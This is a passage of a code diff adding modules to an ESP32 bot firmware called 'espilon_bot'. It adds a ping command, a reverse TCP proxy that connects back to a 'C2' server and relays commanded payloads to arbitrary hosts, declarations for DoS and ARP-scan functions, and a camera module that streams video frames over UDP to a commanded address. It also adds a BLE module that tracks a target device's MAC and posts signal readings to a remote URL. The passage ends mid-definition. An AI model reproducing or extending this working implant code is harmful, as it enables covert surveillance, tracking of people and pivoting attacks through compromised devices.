esp_ping_get_profile(hdl, ESP_PING_PROF_SIZE, &size, sizeof(size));
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_IPADDR, &addr, sizeof(addr));
|
||||
|
||||
int len = snprintf(line, sizeof(line),
|
||||
"%lu bytes from %s: icmp_seq=%u ttl=%u time=%lums",
|
||||
(unsigned long)size,
|
||||
ipaddr_ntoa(&addr),
|
||||
seq,
|
||||
ttl,
|
||||
(unsigned long)time_ms
|
||||
);
|
||||
|
||||
if (len > 0) {
|
||||
msg_data(TAG, line, len, false, NULL);
|
||||
}
|
||||
}
|
||||
|
||||
static void ping_on_timeout(esp_ping_handle_t hdl, void *args)
|
||||
{
|
||||
(void)args;
|
||||
|
||||
uint16_t seq;
|
||||
ip_addr_t addr;
|
||||
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_SEQNO, &seq, sizeof(seq));
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_IPADDR, &addr, sizeof(addr));
|
||||
|
||||
int len = snprintf(line, sizeof(line),
|
||||
"From %s: icmp_seq=%u timeout",
|
||||
ipaddr_ntoa(&addr),
|
||||
seq
|
||||
);
|
||||
|
||||
if (len > 0) {
|
||||
msg_data(TAG, line, len, false, NULL);
|
||||
}
|
||||
}
|
||||
|
||||
static void ping_on_end(esp_ping_handle_t hdl, void *args)
|
||||
{
|
||||
(void)args;
|
||||
|
||||
uint32_t sent, recv, duration;
|
||||
ip_addr_t addr;
|
||||
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_REQUEST, &sent, sizeof(sent));
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_REPLY, &recv, sizeof(recv));
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_DURATION, &duration, sizeof(duration));
|
||||
esp_ping_get_profile(hdl, ESP_PING_PROF_IPADDR, &addr, sizeof(addr));
|
||||
|
||||
int loss = sent ? (100 - (recv * 100 / sent)) : 0;
|
||||
|
||||
int len = snprintf(line, sizeof(line),
|
||||
"--- %s ping statistics ---\n"
|
||||
"%lu packets transmitted, %lu received, %d%% packet loss, time %lums",
|
||||
ipaddr_ntoa(&addr),
|
||||
(unsigned long)sent,
|
||||
(unsigned long)recv,
|
||||
loss,
|
||||
(unsigned long)duration
|
||||
);
|
||||
|
||||
if (len > 0) {
|
||||
/* Final summary, end of stream */
|
||||
msg_data(TAG, line, len, true, NULL);
|
||||
|
||||
}
|
||||
|
||||
esp_ping_delete_session(hdl);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Command entry point (used by network command wrapper)
|
||||
* ============================================================ */
|
||||
|
||||
int do_ping_cmd(int argc, char **argv)
|
||||
{
|
||||
if (argc < 2) {
|
||||
msg_error(TAG,
|
||||
"usage: ping <host> [timeout interval size count ttl iface]",
|
||||
NULL);
|
||||
return -1;
|
||||
}
|
||||
|
||||
esp_ping_config_t cfg = ESP_PING_DEFAULT_CONFIG();
|
||||
cfg.count = 4;
|
||||
cfg.timeout_ms = 1000;
|
||||
|
||||
const char *host = argv[1];
|
||||
|
||||
/* Optional arguments */
|
||||
if (argc > 2) cfg.timeout_ms = atoi(argv[2]) * 1000;
|
||||
if (argc > 3) cfg.interval_ms = (uint32_t)(atof(argv[3]) * 1000);
|
||||
if (argc > 4) cfg.data_size = atoi(argv[4]);
|
||||
if (argc > 5) cfg.count = atoi(argv[5]);
|
||||
if (argc > 6) cfg.tos = atoi(argv[6]);
|
||||
if (argc > 7) cfg.ttl = atoi(argv[7]);
|
||||
|
||||
/* Resolve host */
|
||||
ip_addr_t target;
|
||||
memset(&target, 0, sizeof(target));
|
||||
|
||||
if (!ipaddr_aton(host, &target)) {
|
||||
struct addrinfo *res = NULL;
|
||||
|
||||
if (getaddrinfo(host, NULL, NULL, &res) != 0 || !res) {
|
||||
msg_error(TAG, "unknown host", NULL);
|
||||
return -1;
|
||||
}
|
||||
|
||||
#ifdef CONFIG_LWIP_IPV4
|
||||
if (res->ai_family == AF_INET) {
|
||||
inet_addr_to_ip4addr(
|
||||
ip_2_ip4(&target),
|
||||
&((struct sockaddr_in *)res->ai_addr)->sin_addr
|
||||
);
|
||||
}
|
||||
#endif
|
||||
|
||||
#ifdef CONFIG_LWIP_IPV6
|
||||
if (res->ai_family == AF_INET6) {
|
||||
inet6_addr_to_ip6addr(
|
||||
ip_2_ip6(&target),
|
||||
&((struct sockaddr_in6 *)res->ai_addr)->sin6_addr
|
||||
);
|
||||
}
|
||||
#endif
|
||||
|
||||
freeaddrinfo(res);
|
||||
}
|
||||
|
||||
cfg.target_addr = target;
|
||||
|
||||
esp_ping_callbacks_t cbs = {
|
||||
.on_ping_success = ping_on_success,
|
||||
.on_ping_timeout = ping_on_timeout,
|
||||
.on_ping_end = ping_on_end
|
||||
};
|
||||
|
||||
esp_ping_handle_t ping;
|
||||
esp_ping_new_session(&cfg, &cbs, &ping);
|
||||
esp_ping_start(ping);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
200
espilon_bot/components/mod_network/mod_proxy.c
Normal file
200
espilon_bot/components/mod_network/mod_proxy.c
Normal file
@ -0,0 +1,200 @@
|
||||
/*
|
||||
* Eun0us - Reverse TCP Proxy Module
|
||||
* Clean & stream-based implementation
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <errno.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include <sys/socket.h>
|
||||
#include <netinet/in.h>
|
||||
#include <arpa/inet.h>
|
||||
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
#include "esp_log.h"
|
||||
|
||||
#include "utils.h"
|
||||
|
||||
#define TAG "PROXY"
|
||||
|
||||
#define MAX_PROXY_RETRY 10
|
||||
#define RETRY_DELAY_MS 5000
|
||||
#define CMD_BUF_SIZE 256
|
||||
#define RX_BUF_SIZE 1024
|
||||
|
||||
int proxy_running = 0;
|
||||
static int cc_client = -1;
|
||||
|
||||
/* ============================================================
|
||||
* Helpers
|
||||
* ============================================================ */
|
||||
|
||||
/* Replace escaped \r \n */
|
||||
static void unescape_payload(const char *src, char *dst, size_t max_len)
|
||||
{
|
||||
size_t i = 0, j = 0;
|
||||
while (src[i] && j < max_len - 1) {
|
||||
if (src[i] == '\\' && src[i + 1] == 'r') {
|
||||
dst[j++] = '\r';
|
||||
i += 2;
|
||||
} else if (src[i] == '\\' && src[i + 1] == 'n') {
|
||||
dst[j++] = '\n';
|
||||
i += 2;
|
||||
} else {
|
||||
dst[j++] = src[i++];
|
||||
}
|
||||
}
|
||||
dst[j] = '\0';
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Proxy command handler task
|
||||
* ============================================================ */
|
||||
|
||||
static void proxy_task(void *arg)
|
||||
{
|
||||
(void)arg;
|
||||
|
||||
char cmd[CMD_BUF_SIZE];
|
||||
|
||||
msg_info(TAG, "proxy handler started", NULL);
|
||||
|
||||
while (proxy_running) {
|
||||
|
||||
int len = recv(cc_client, cmd, sizeof(cmd) - 1, 0);
|
||||
if (len <= 0) {
|
||||
msg_error(TAG, "connection closed", NULL);
|
||||
break;
|
||||
}
|
||||
cmd[len] = '\0';
|
||||
|
||||
/* Format: ip:port|payload */
|
||||
char *sep_ip = strchr(cmd, ':');
|
||||
char *sep_pay = strchr(cmd, '|');
|
||||
|
||||
if (!sep_ip || !sep_pay || sep_pay <= sep_ip) {
|
||||
msg_error(TAG, "invalid command format", NULL);
|
||||
continue;
|
||||
}
|
||||
|
||||
/* Extract IP */
|
||||
char ip[64];
|
||||
size_t ip_len = sep_ip - cmd;
|
||||
if (ip_len >= sizeof(ip)) {
|
||||
msg_error(TAG, "ip too long", NULL);
|
||||
continue;
|
||||
}
|
||||
memcpy(ip, cmd, ip_len);
|
||||
ip[ip_len] = '\0';
|
||||
|
||||
/* Extract port */
|
||||
int port = atoi(sep_ip + 1);
|
||||
if (port <= 0 || port > 65535) {
|
||||
msg_error(TAG, "invalid port", NULL);
|
||||
continue;
|
||||
}
|
||||
|
||||
const char *payload_escaped = sep_pay + 1;
|
||||
|
||||
char info_msg[96];
|
||||
snprintf(info_msg, sizeof(info_msg),
|
||||
"proxying to %s:%d", ip, port);
|
||||
msg_info(TAG, info_msg, NULL);
|
||||
|
||||
/* Destination socket */
|
||||
int dst = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
|
||||
if (dst < 0) {
|
||||
msg_error(TAG, "socket failed", NULL);
|
||||
continue;
|
||||
}
|
||||
|
||||
struct sockaddr_in addr = {
|
||||
.sin_family = AF_INET,
|
||||
.sin_port = htons(port),
|
||||
.sin_addr.s_addr = inet_addr(ip),
|
||||
};
|
||||
|
||||
struct timeval timeout = { .tv_sec = 5, .tv_usec = 0 };
|
||||
setsockopt(dst, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof(timeout));
|
||||
setsockopt(dst, SOL_SOCKET, SO_SNDTIMEO, &timeout, sizeof(timeout));
|
||||
|
||||
if (connect(dst, (struct sockaddr *)&addr, sizeof(addr)) != 0) {
|
||||
msg_error(TAG, "connect failed", NULL);
|
||||
close(dst);
|
||||
continue;
|
||||
}
|
||||
|
||||
/* Send payload */
|
||||
char payload[RX_BUF_SIZE];
|
||||
unescape_payload(payload_escaped, payload, sizeof(payload));
|
||||
send(dst, payload, strlen(payload), 0);
|
||||
|
||||
/* Receive response (stream) */
|
||||
char rx[RX_BUF_SIZE];
|
||||
while ((len = recv(dst, rx, sizeof(rx), 0)) > 0) {
|
||||
msg_data(TAG, rx, len, false, NULL);
|
||||
}
|
||||
|
||||
/* End of stream */
|
||||
msg_data(TAG, NULL, 0, true, NULL);
|
||||
|
||||
close(dst);
|
||||
}
|
||||
|
||||
close(cc_client);
|
||||
cc_client = -1;
|
||||
proxy_running = 0;
|
||||
|
||||
msg_info(TAG, "proxy stopped", NULL);
|
||||
vTaskDelete(NULL);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Public API
|
||||
* ============================================================ */
|
||||
|
||||
void init_proxy(char *ip, int port)
|
||||
{
|
||||
struct sockaddr_in server = {
|
||||
.sin_family = AF_INET,
|
||||
.sin_port = htons(port),
|
||||
.sin_addr.s_addr = inet_addr(ip),
|
||||
};
|
||||
|
||||
for (int retry = 0; retry < MAX_PROXY_RETRY; retry++) {
|
||||
|
||||
cc_client = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
|
||||
if (cc_client < 0) {
|
||||
vTaskDelay(pdMS_TO_TICKS(RETRY_DELAY_MS));
|
||||
continue;
|
||||
}
|
||||
|
||||
msg_info(TAG, "connecting to C2...", NULL);
|
||||
|
||||
if (connect(cc_client,
|
||||
(struct sockaddr *)&server,
|
||||
sizeof(server)) == 0) {
|
||||
|
||||
proxy_running = 1;
|
||||
xTaskCreate(
|
||||
proxy_task,
|
||||
"proxy_task",
|
||||
8192,
|
||||
NULL,
|
||||
5,
|
||||
NULL
|
||||
);
|
||||
return;
|
||||
}
|
||||
|
||||
close(cc_client);
|
||||
vTaskDelay(pdMS_TO_TICKS(RETRY_DELAY_MS));
|
||||
}
|
||||
|
||||
msg_error(TAG, "unable to connect to C2", NULL);
|
||||
}
|
||||
|
||||
12
espilon_bot/components/mod_network/net_utils.h
Normal file
12
espilon_bot/components/mod_network/net_utils.h
Normal file
@ -0,0 +1,12 @@
|
||||
#include <stdint.h>
|
||||
// dos.c
|
||||
void start_dos(const char *t_ip, uint16_t t_port, int turn);
|
||||
|
||||
// arp.c
|
||||
void arp_scan_task(void *pvParameters);
|
||||
|
||||
// ping.c
|
||||
int do_ping_cmd(int argc, char **argv);
|
||||
|
||||
// proxy.c
|
||||
void init_proxy(char *ip, int port);
|
||||
13
espilon_bot/components/mod_recon/CMakeLists.txt
Normal file
13
espilon_bot/components/mod_recon/CMakeLists.txt
Normal file
@ -0,0 +1,13 @@
|
||||
idf_component_register(
|
||||
SRCS
|
||||
"mod_cam.c"
|
||||
# "mod_trilat.c" # Disabled for now - needs BT config
|
||||
INCLUDE_DIRS
|
||||
"."
|
||||
REQUIRES
|
||||
command
|
||||
esp_wifi
|
||||
nvs_flash
|
||||
esp_http_client
|
||||
espressif__esp32-camera
|
||||
)
|
||||
4
espilon_bot/components/mod_recon/cmd_recon.h
Normal file
4
espilon_bot/components/mod_recon/cmd_recon.h
Normal file
@ -0,0 +1,4 @@
|
||||
#pragma once
|
||||
|
||||
void mod_ble_trilat_register_commands(void);
|
||||
void mod_camera_register_commands(void);
|
||||
5
espilon_bot/components/mod_recon/idf_component.yml
Normal file
5
espilon_bot/components/mod_recon/idf_component.yml
Normal file
@ -0,0 +1,5 @@
|
||||
|
||||
# Decomment this depencies only when camera use
|
||||
dependencies:
|
||||
espressif/esp32-camera:
|
||||
version: "*"
|
||||
276
espilon_bot/components/mod_recon/mod_cam.c
Normal file
276
espilon_bot/components/mod_recon/mod_cam.c
Normal file
@ -0,0 +1,276 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#include "esp_camera.h"
|
||||
#include "esp_log.h"
|
||||
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
|
||||
#include <sys/socket.h>
|
||||
#include <netinet/in.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include "command.h"
|
||||
#include "utils.h"
|
||||
|
||||
/* ============================================================
|
||||
* CONFIG
|
||||
* ============================================================ */
|
||||
#define TAG "CAMERA"
|
||||
#define MAX_UDP_SIZE 2034
|
||||
|
||||
#if defined(CONFIG_MODULE_RECON) && defined(CONFIG_RECON_MODE_CAMERA)
|
||||
/* ================= CAMERA PINS ================= */
|
||||
#define CAM_PIN_PWDN 32
|
||||
#define CAM_PIN_RESET -1
|
||||
#define CAM_PIN_XCLK 0
|
||||
#define CAM_PIN_SIOD 26
|
||||
#define CAM_PIN_SIOC 27
|
||||
#define CAM_PIN_D7 35
|
||||
#define CAM_PIN_D6 34
|
||||
#define CAM_PIN_D5 39
|
||||
#define CAM_PIN_D4 36
|
||||
#define CAM_PIN_D3 21
|
||||
#define CAM_PIN_D2 19
|
||||
#define CAM_PIN_D1 18
|
||||
#define CAM_PIN_D0 5
|
||||
#define CAM_PIN_VSYNC 25
|
||||
#define CAM_PIN_HREF 23
|
||||
#define CAM_PIN_PCLK 22
|
||||
|
||||
/* ============================================================
|
||||
* STATE
|
||||
* ============================================================ */
|
||||
static volatile bool streaming_active = false;
|
||||
static bool camera_initialized = false;
|
||||
|
||||
static int udp_sock = -1;
|
||||
static struct sockaddr_in dest_addr;
|
||||
|
||||
/* ⚠️ à passer en Kconfig plus tard */
|
||||
static const char *token = "Sup3rS3cretT0k3n";
|
||||
|
||||
/* ============================================================
|
||||
* CAMERA INIT
|
||||
* ============================================================ */
|
||||
static bool init_camera(void)
|
||||
{
|
||||
camera_config_t cfg = {
|
||||
.pin_pwdn = CAM_PIN_PWDN,
|
||||
.pin_reset = CAM_PIN_RESET,
|
||||
.pin_xclk = CAM_PIN_XCLK,
|
||||
.pin_sccb_sda = CAM_PIN_SIOD,
|
||||
.pin_sccb_scl = CAM_PIN_SIOC,
|
||||
.pin_d7 = CAM_PIN_D7,
|
||||
.pin_d6 = CAM_PIN_D6,
|
||||
.pin_d5 = CAM_PIN_D5,
|
||||
.pin_d4 = CAM_PIN_D4,
|
||||
.pin_d3 = CAM_PIN_D3,
|
||||
.pin_d2 = CAM_PIN_D2,
|
||||
.pin_d1 = CAM_PIN_D1,
|
||||
.pin_d0 = CAM_PIN_D0,
|
||||
.pin_vsync = CAM_PIN_VSYNC,
|
||||
.pin_href = CAM_PIN_HREF,
|
||||
.pin_pclk = CAM_PIN_PCLK,
|
||||
.xclk_freq_hz = 20000000,
|
||||
.ledc_timer = LEDC_TIMER_0,
|
||||
.ledc_channel = LEDC_CHANNEL_0,
|
||||
.pixel_format = PIXFORMAT_JPEG,
|
||||
.frame_size = FRAMESIZE_QQVGA,
|
||||
.jpeg_quality = 20,
|
||||
.fb_count = 2,
|
||||
.fb_location = CAMERA_FB_IN_PSRAM,
|
||||
.grab_mode = CAMERA_GRAB_LATEST
|
||||
};
|
||||
|
||||
if (esp_camera_init(&cfg) != ESP_OK) {
|
||||
msg_error(TAG, "camera init failed", NULL);
|
||||
return false;
|
||||
}
|
||||
|
||||
msg_info(TAG, "camera initialized", NULL);
|
||||
vTaskDelay(pdMS_TO_TICKS(200));
|
||||
return true;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* STREAM TASK
|
||||
* ============================================================ */
|
||||
static void udp_stream_task(void *arg)
|
||||
{
|
||||
(void)arg;
|
||||
|
||||
msg_info(TAG, "stream started", NULL);
|
||||
|
||||
const size_t token_len = strlen(token);
|
||||
uint8_t buf[MAX_UDP_SIZE + 32];
|
||||
|
||||
while (streaming_active) {
|
||||
|
||||
camera_fb_t *fb = esp_camera_fb_get();
|
||||
if (!fb) {
|
||||
msg_error(TAG, "frame capture failed", NULL);
|
||||
vTaskDelay(pdMS_TO_TICKS(50));
|
||||
continue;
|
||||
}
|
||||
|
||||
/* START */
|
||||
memcpy(buf, token, token_len);
|
||||
memcpy(buf + token_len, "START", 5);
|
||||
sendto(udp_sock, buf, token_len + 5, 0,
|
||||
(struct sockaddr *)&dest_addr, sizeof(dest_addr));
|
||||
|
||||
size_t off = 0;
|
||||
size_t rem = fb->len;
|
||||
|
||||
while (rem > 0 && streaming_active) {
|
||||
size_t chunk = rem > MAX_UDP_SIZE ? MAX_UDP_SIZE : rem;
|
||||
|
||||
memcpy(buf, token, token_len);
|
||||
memcpy(buf + token_len, fb->buf + off, chunk);
|
||||
|
||||
if (sendto(udp_sock, buf, token_len + chunk, 0,
|
||||
(struct sockaddr *)&dest_addr,
|
||||
sizeof(dest_addr)) < 0) {
|
||||
msg_error(TAG, "udp send failed", NULL);
|
||||
break;
|
||||
}
|
||||
|
||||
off += chunk;
|
||||
rem -= chunk;
|
||||
vTaskDelay(1);
|
||||
}
|
||||
|
||||
/* END */
|
||||
memcpy(buf, token, token_len);
|
||||
memcpy(buf + token_len, "END", 3);
|
||||
sendto(udp_sock, buf, token_len + 3, 0,
|
||||
(struct sockaddr *)&dest_addr, sizeof(dest_addr));
|
||||
|
||||
esp_camera_fb_return(fb);
|
||||
vTaskDelay(pdMS_TO_TICKS(140)); /* ~7 FPS */
|
||||
}
|
||||
|
||||
if (udp_sock >= 0) {
|
||||
close(udp_sock);
|
||||
udp_sock = -1;
|
||||
}
|
||||
|
||||
msg_info(TAG, "stream stopped", NULL);
|
||||
vTaskDelete(NULL);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* STREAM CONTROL
|
||||
* ============================================================ */
|
||||
static void start_stream(const char *ip, uint16_t port)
|
||||
{
|
||||
if (streaming_active) {
|
||||
msg_error(TAG, "stream already active", NULL);
|
||||
return;
|
||||
}
|
||||
|
||||
if (!camera_initialized) {
|
||||
if (!init_camera())
|
||||
return;
|
||||
camera_initialized = true;
|
||||
}
|
||||
|
||||
udp_sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_IP);
|
||||
if (udp_sock < 0) {
|
||||
msg_error(TAG, "udp socket failed", NULL);
|
||||
return;
|
||||
}
|
||||
|
||||
memset(&dest_addr, 0, sizeof(dest_addr));
|
||||
dest_addr.sin_family = AF_INET;
|
||||
dest_addr.sin_port = htons(port);
|
||||
dest_addr.sin_addr.s_addr = inet_addr(ip);
|
||||
|
||||
streaming_active = true;
|
||||
|
||||
xTaskCreatePinnedToCore(
|
||||
udp_stream_task,
|
||||
"cam_stream",
|
||||
8192,
|
||||
NULL,
|
||||
5,
|
||||
NULL,
|
||||
0
|
||||
);
|
||||
}
|
||||
|
||||
static void stop_stream(void)
|
||||
{
|
||||
if (!streaming_active) {
|
||||
msg_error(TAG, "no active stream", NULL);
|
||||
return;
|
||||
}
|
||||
|
||||
streaming_active = false;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND HANDLERS
|
||||
* ============================================================ */
|
||||
static int cmd_cam_start(int argc,
|
||||
char **argv,
|
||||
const char *req,
|
||||
void *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
|
||||
if (argc != 2) {
|
||||
msg_error(TAG, "usage: cam_start <ip> <port>", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
start_stream(argv[0], (uint16_t)atoi(argv[1]));
|
||||
return 0;
|
||||
}
|
||||
|
||||
static int cmd_cam_stop(int argc,
|
||||
char **argv,
|
||||
const char *req,
|
||||
void *ctx)
|
||||
{
|
||||
(void)argc;
|
||||
(void)argv;
|
||||
(void)ctx;
|
||||
|
||||
stop_stream();
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* REGISTER COMMANDS
|
||||
* ============================================================ */
|
||||
static const command_t cmd_cam_start_def = {
|
||||
.name = "cam_start",
|
||||
.min_args = 2,
|
||||
.max_args = 2,
|
||||
.handler = cmd_cam_start,
|
||||
.ctx = NULL,
|
||||
.async = false
|
||||
};
|
||||
|
||||
static const command_t cmd_cam_stop_def = {
|
||||
.name = "cam_stop",
|
||||
.min_args = 0,
|
||||
.max_args = 0,
|
||||
.handler = cmd_cam_stop,
|
||||
.ctx = NULL,
|
||||
.async = false
|
||||
};
|
||||
|
||||
void mod_camera_register_commands(void)
|
||||
{
|
||||
command_register(&cmd_cam_start_def);
|
||||
command_register(&cmd_cam_stop_def);
|
||||
}
|
||||
|
||||
#endif
|
||||
259
espilon_bot/components/mod_recon/mod_trilat.c
Normal file
259
espilon_bot/components/mod_recon/mod_trilat.c
Normal file
@ -0,0 +1,259 @@
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <ctype.h>
|
||||
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
#include "freertos/semphr.h"
|
||||
|
||||
#include "esp_log.h"
|
||||
#include "esp_err.h"
|
||||
#include "nvs_flash.h"
|
||||
|
||||
#include "esp_bt.h"
|
||||
#include "esp_gap_ble_api.h"
|
||||
#include "esp_bt_main.h"
|
||||
|
||||
#include "esp_http_client.h"
|
||||
|
||||
#include "command.h"
|
||||
#include "utils.h"
|
||||
|
||||
/* ============================================================
|
||||
* CONFIG
|
||||
* ============================================================ */
|
||||
#define TAG "BLE_TRILAT"
|
||||
|
||||
#define TRILAT_ID "ESP3"
|
||||
#define X_POS 10.0
|
||||
#define Y_POS 0.0
|
||||
|
||||
#define MAX_BUFFER_SIZE 4096
|
||||
#define POST_INTERVAL_MS 10000
|
||||
#define MAX_LEN 128
|
||||
|
||||
/* ============================================================
|
||||
* STATE
|
||||
* ============================================================ */
|
||||
static uint8_t target_mac[6];
|
||||
static char target_url[MAX_LEN];
|
||||
static char auth_bearer[MAX_LEN];
|
||||
static char auth_header[MAX_LEN];
|
||||
|
||||
static char data_buffer[MAX_BUFFER_SIZE];
|
||||
static size_t buffer_len = 0;
|
||||
|
||||
static SemaphoreHandle_t buffer_mutex = NULL;
|
||||
static TaskHandle_t post_task_handle = NULL;
|
||||
static bool trilat_running = false;
|
||||
|
||||
/* ============================================================
|
||||
* UTILS
|
||||
* ============================================================ */
|
||||
static bool parse_mac_str(const char *input, uint8_t *mac_out)
|
||||
{
|
||||
char clean[13] = {0};
|
||||
int j = 0;
|
||||
|
||||
for (int i = 0; input[i] && j < 12; i++) {
|
||||
if (input[i] == ':' || input[i] == '-' || input[i] == ' ')
|
||||
continue;
|
||||
if (!isxdigit((unsigned char)input[i]))
|
||||
return false;
|
||||
clean[j++] = toupper((unsigned char)input[i]);
|
||||
}
|
||||
|
||||
if (j != 12) return false;
|
||||
|
||||
for (int i = 0; i < 6; i++) {
|
||||
char b[3] = { clean[i*2], clean[i*2+1], 0 };
|
||||
mac_out[i] = (uint8_t)strtol(b, NULL, 16);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* HTTP
|
||||
* ============================================================ */
|
||||
static esp_err_t http_evt(esp_http_client_event_t *evt)
|
||||
{
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
static void send_http_post(const char *data)
|
||||
{
|
||||
esp_http_client_config_t cfg = {
|
||||
.url = target_url,
|
||||
.timeout_ms = 10000,
|
||||
.event_handler = http_evt,
|
||||
};
|
||||
|
||||
esp_http_client_handle_t cli = esp_http_client_init(&cfg);
|
||||
esp_http_client_set_method(cli, HTTP_METHOD_POST);
|
||||
esp_http_client_set_header(cli, "Content-Type", "text/plain");
|
||||
esp_http_client_set_header(cli, "Authorization", auth_header);
|
||||
esp_http_client_set_post_field(cli, data, strlen(data));
|
||||
|
||||
esp_err_t err = esp_http_client_perform(cli);
|
||||
if (err == ESP_OK) {
|
||||
msg_info(TAG, "HTTP POST sent", NULL);
|
||||
} else {
|
||||
msg_error(TAG, "HTTP POST failed", NULL);
|
||||
}
|
||||
|
||||
esp_http_client_cleanup(cli);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* BLE CALLBACK
|
||||
* ============================================================ */
|
||||
static void ble_scan_cb(esp_gap_ble_cb_event_t event,
|
||||
esp_ble_gap_cb_param_t *param)
|
||||
{
|
||||
if (!trilat_running) return;
|
||||
|
||||
if (event != ESP_GAP_BLE_SCAN_RESULT_EVT ||
|
||||
param->scan_rst.search_evt != ESP_GAP_SEARCH_INQ_RES_EVT)
|
||||
return;
|
||||
|
||||
if (memcmp(param->scan_rst.bda, target_mac, 6) != 0)
|
||||
return;
|
||||
|
||||
char line[96];
|
||||
snprintf(line, sizeof(line),
|
||||
"%s;(%.1f,%.1f);%d\n",
|
||||
TRILAT_ID, X_POS, Y_POS,
|
||||
param->scan_rst.rssi);
|
||||
|
||||
xSemaphoreTake(buffer_mutex, portMAX_DELAY);
|
||||
if (buffer_len + strlen(line) < MAX_BUFFER_SIZE) {
|
||||
strcat(data_buffer, line);
|
||||
buffer_len += strlen(line);
|
||||
}
|
||||
xSemaphoreGive(buffer_mutex);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* POST TASK
|
||||
* ============================================================ */
|
||||
static void post_task(void *arg)
|
||||
{
|
||||
while (trilat_running) {
|
||||
vTaskDelay(pdMS_TO_TICKS(POST_INTERVAL_MS));
|
||||
|
||||
xSemaphoreTake(buffer_mutex, portMAX_DELAY);
|
||||
if (buffer_len > 0) {
|
||||
send_http_post(data_buffer);
|
||||
buffer_len = 0;
|
||||
data_buffer[0] = 0;
|
||||
}
|
||||
xSemaphoreGive(buffer_mutex);
|
||||
}
|
||||
|
||||
vTaskDelete(NULL);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* BLE INIT
|
||||
* ============================================================ */
|
||||
static void ble_init(void)
|
||||
{
|
||||
esp_bt_controller_config_t cfg = BT_CONTROLLER_INIT_CONFIG_DEFAULT();
|
||||
|
||||
ESP_ERROR_CHECK(esp_bt_controller_mem_release(ESP_BT_MODE_CLASSIC_BT));
|
||||
ESP_ERROR_CHECK(esp_bt_controller_init(&cfg));
|
||||
ESP_ERROR_CHECK(esp_bt_controller_enable(ESP_BT_MODE_BLE));
|
||||
ESP_ERROR_CHECK(esp_bluedroid_init());
|
||||
ESP_ERROR_CHECK(esp_bluedroid_enable());
|
||||
|
||||
ESP_ERROR_CHECK(esp_ble_gap_register_callback(ble_scan_cb));
|
||||
|
||||
esp_ble_scan_params_t scan = {
|
||||
.scan_type = BLE_SCAN_TYPE_ACTIVE,
|
||||
.own_addr_type = BLE_ADDR_TYPE_PUBLIC,
|
||||
.scan_filter_policy = BLE_SCAN_FILTER_ALLOW_ALL,
|
||||
.scan_interval = 0x50,
|
||||
.scan_window = 0x30,
|
||||
.scan_duplicate = BLE_SCAN_DUPLICATE_DISABLE
|
||||
};
|
||||
|
||||
ESP_ERROR_CHECK(esp_ble_gap_set_scan_params(&scan));
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMANDS
|
||||
* ============================================================ */
|
||||
static esp_err_t cmd_trilat_start(int argc, char **argv, void *ctx)
|
||||
{
|
||||
if (argc != 4)
|
||||
return msg_error(TAG, "usage: trilat start <mac> <url> <bearer>", NULL);
|
||||
|
||||
if (trilat_running)
|
||||
return msg_error(TAG, "already running", NULL);
|
||||
|
||||
ESP_ERROR_CHECK(nvs_flash_init());
|
||||
|
||||
if (!parse_mac_str(argv[1], target_mac))
|
||||
return msg_error(TAG, "invalid MAC", NULL);
|
||||
|
||||
strncpy(target_url, argv[2], MAX_LEN-1);
|
||||
strncpy(auth_bearer, argv[3], MAX_LEN-1);
|
||||
snprintf(auth_header, sizeof(auth_header), "Bearer %s", auth_bearer);
|
||||
|
||||
buffer_mutex = xSemaphoreCreateMutex();
|
||||
data_buffer[0] = 0;
|
||||
buffer_len = 0;
|
||||
|
||||
ble_init();
|
||||
esp_ble_gap_start_scanning(0);
|
||||
|
||||
trilat_running = true;
|
||||
xTaskCreate(post_task, "trilat_post", 4096, NULL, 5, &post_task_handle);
|
||||
|
||||
msg_info(TAG, "trilat started", NULL);
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
static esp_err_t cmd_trilat_stop(int argc, char **argv, void *ctx)
|
||||
{
|
||||
if (!trilat_running)
|
||||
return msg_error(TAG, "not running", NULL);
|
||||
|
||||
trilat_running = false;
|
||||
esp_ble_gap_stop_scanning();
|
||||
|
||||
msg_info(TAG, "trilat stopped", NULL);
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* REGISTER
|
||||
* ============================================================ */
|
||||
static const command_t cmd_trilat_start_def = {
|
||||
.name = "trilat",
|
||||
.sub = "start",
|
||||
.help = "Start BLE trilateration",
|
||||
